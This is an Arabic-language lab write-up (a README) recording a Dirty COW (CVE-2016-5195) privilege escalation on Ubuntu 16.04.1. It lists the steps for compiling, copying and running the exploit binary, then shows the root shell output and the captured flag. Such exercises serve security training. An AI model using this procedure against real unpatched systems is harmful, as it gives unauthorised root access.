dirtycow-lab

استغلال ثغرة Dirty COW (CVE-2016-5195) في Ubuntu 16.04.1.

cat > README.md <<'EOF'

🐮 استغلال ثغرة Dirty COW (CVE-2016-5195)

📌 الوصف

يوضح هذا المختبر استغلال ثغرة Dirty COW في نظام Ubuntu Server 16.04.1 مع نواة (kernel) ضعيفة.
كان الهدف هو رفع الامتيازات من مستخدم محدود (student) إلى root والحصول على العلم (flag) الموجود في /root/flag.txt.

🛠️ العملية المنفذة

1. التحقق من النواة: Linux 4.4.0-31-generic (ضعيفة).
2. تجميع الاستغلال: في Kali داخل Docker ubuntu:16.04 تم تجميع dirtycow_passwd.c → الملف الثنائي dirty.
3. النقل: scp dirty student@<IP>:~/.
4. التنفيذ ورفع الامتيازات: chmod +x ~/dirty && ~/dirty → su root (كلمة المرور dirtyCowFun).
5. العلم (Flag): cat /root/flag.txt → 4GEEKS{Y0u_G0t_R00t}.

✅ النتيجة

root@ubuntu:/home/student# whoami
root
root@ubuntu:/home/student# id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:/home/student# cat /root/flag.txt
4GEEKS{Y0u_G0t_R00t}

العلم الذي تم الحصول عليه